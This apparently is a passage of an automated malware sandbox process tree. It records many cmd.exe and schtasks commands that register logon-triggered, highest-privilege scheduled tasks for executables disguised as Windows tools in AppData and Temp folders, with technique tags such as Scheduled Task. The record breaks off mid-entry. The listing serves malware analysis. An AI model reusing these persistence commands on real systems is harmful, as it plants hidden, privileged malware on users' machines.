- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SpatialAudioLicenseSrv_7" /tr ""C:\ProgramData\MicrosoftService\SpatialAudioLicenseSrv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5428
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_unregmp2_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1EEE.tmp\Logs\UpdateCache\unregmp2.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_unregmp2_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1EEE.tmp\Logs\UpdateCache\unregmp2.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5268
- C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\explorer.exe
  "C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\explorer.exe" --watchdog-slave
  2⤵
  PID:3656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RestoreStop_1" /tr ""C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\UpdateCache\UpdateCache\RestoreStop.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4284
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RestoreStop_1" /tr ""C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\UpdateCache\UpdateCache\RestoreStop.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5980
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systeminfo_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2040
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systeminfo_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6100
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dpnsvr_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B4B.tmp\Logs\dpnsvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dpnsvr_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B4B.tmp\Logs\dpnsvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_5" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5172
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_5" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:436
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ARP_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ARP.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4548
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ARP_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ARP.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4516
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DevicePairingWizard_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\DevicePairingWizard.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5628
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DevicePairingWizard_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\DevicePairingWizard.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_grpconv_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3C.tmp\Logs\grpconv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4068
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_grpconv_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3C.tmp\Logs\grpconv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5164
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3428
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ipconfig_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\ipconfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ipconfig_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\ipconfig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5352
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mobsync_3" /tr ""C:\ProgramData\MicrosoftService\mobsync.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mobsync_3" /tr ""C:\ProgramData\MicrosoftService\mobsync.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5868
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4268
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpupdate_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\gpupdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2572
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontdrvhost_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontdrvhost_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5724
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_7" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4280
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_7" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2088
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1DFD.tmp\Logs\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1DFD.tmp\Logs\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3336
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_1" /tr ""C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5900
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_1" /tr ""C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SndVol_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SndVol.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6460
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SndVol_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SndVol.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TRACERT_3" /tr ""C:\ProgramData\USOShared\Logs\TRACERT.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:8
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TRACERT_3" /tr ""C:\ProgramData\USOShared\Logs\TRACERT.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6192
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netiougc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A05.tmp\Logs\UpdateCache\netiougc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5496
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_netiougc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A05.tmp\Logs\UpdateCache\netiougc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:212
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\UpdateCache\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1260
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\UpdateCache\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1400
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontdrvhost_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontdrvhost_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4208
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PackagedCWALauncher_7" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PackagedCWALauncher_7" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5220
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fixmapi_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1DEC.tmp\Logs\fixmapi.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fixmapi_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1DEC.tmp\Logs\fixmapi.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1600
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_1" /tr ""C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_1" /tr ""C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4164
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TRACERT_3" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\TRACERT.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TRACERT_3" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\TRACERT.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ARP_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A22.tmp\Logs\ARP.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6388
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ARP_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A22.tmp\Logs\ARP.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_5" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_5" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sdiagnhost_7" /tr ""C:\ProgramData\ssh\Logs\sdiagnhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:680
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sdiagnhost_7" /tr ""C:\ProgramData\ssh\Logs\sdiagnhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6844
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netiougc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A05.tmp\Logs\UpdateCache\netiougc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_netiougc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A05.tmp\Logs\UpdateCache\netiougc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1668
- C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\UpdateCache\UpdateCache\convert.exe
  "C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\UpdateCache\UpdateCache\convert.exe" --watchdog-slave
  2⤵
  PID:3980
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_1" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_1" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontdrvhost_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontdrvhost_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1292
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WSManHTTPConfig_3" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WSManHTTPConfig_3" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_grpconv_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3C.tmp\Logs\UpdateCache\grpconv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_grpconv_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3C.tmp\Logs\UpdateCache\grpconv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3216
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_5" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5576
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_5" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PING_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\PING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PING_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\PING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5188
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OposHost_7" /tr ""C:\ProgramData\MicrosoftService\OposHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4576
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OposHost_7" /tr ""C:\ProgramData\MicrosoftService\OposHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6736
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0D.tmp\Logs\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6180
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0D.tmp\Logs\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6124
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TpmInit_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\TpmInit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5168
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TpmInit_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\TpmInit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3680
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PackagedCWALauncher_3" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\UpdateCache\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7040
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PackagedCWALauncher_3" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\UpdateCache\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_verclsid_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3A.tmp\Logs\verclsid.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_verclsid_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3A.tmp\Logs\verclsid.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_pcaui_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\pcaui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_pcaui_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\pcaui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1524
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WSManHTTPConfig_7" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WSManHTTPConfig_7" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4516
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D3C.tmp\Logs\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6380
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D3C.tmp\Logs\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1424
- C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe
  "C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe" --watchdog-slave
  2⤵
  PID:5548
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchIndexer_1" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchIndexer_1" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5960
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_windowsdesktop-runtime-6.0.27-win-x64_3" /tr ""C:\ProgramData\Package Cache\{d87ae0f4-64a6-4b94-859a-530b9c313c27}\UpdateCache\windowsdesktop-runtime-6.0.27-win-x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6132
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_windowsdesktop-runtime-6.0.27-win-x64_3" /tr ""C:\ProgramData\Package Cache\{d87ae0f4-64a6-4b94-859a-530b9c313c27}\UpdateCache\windowsdesktop-runtime-6.0.27-win-x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5532
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_EhStorAuthn_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D6D.tmp\Logs\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_EhStorAuthn_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D6D.tmp\Logs\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4564
- C:\Windows\SysWOW64\cmd.exe
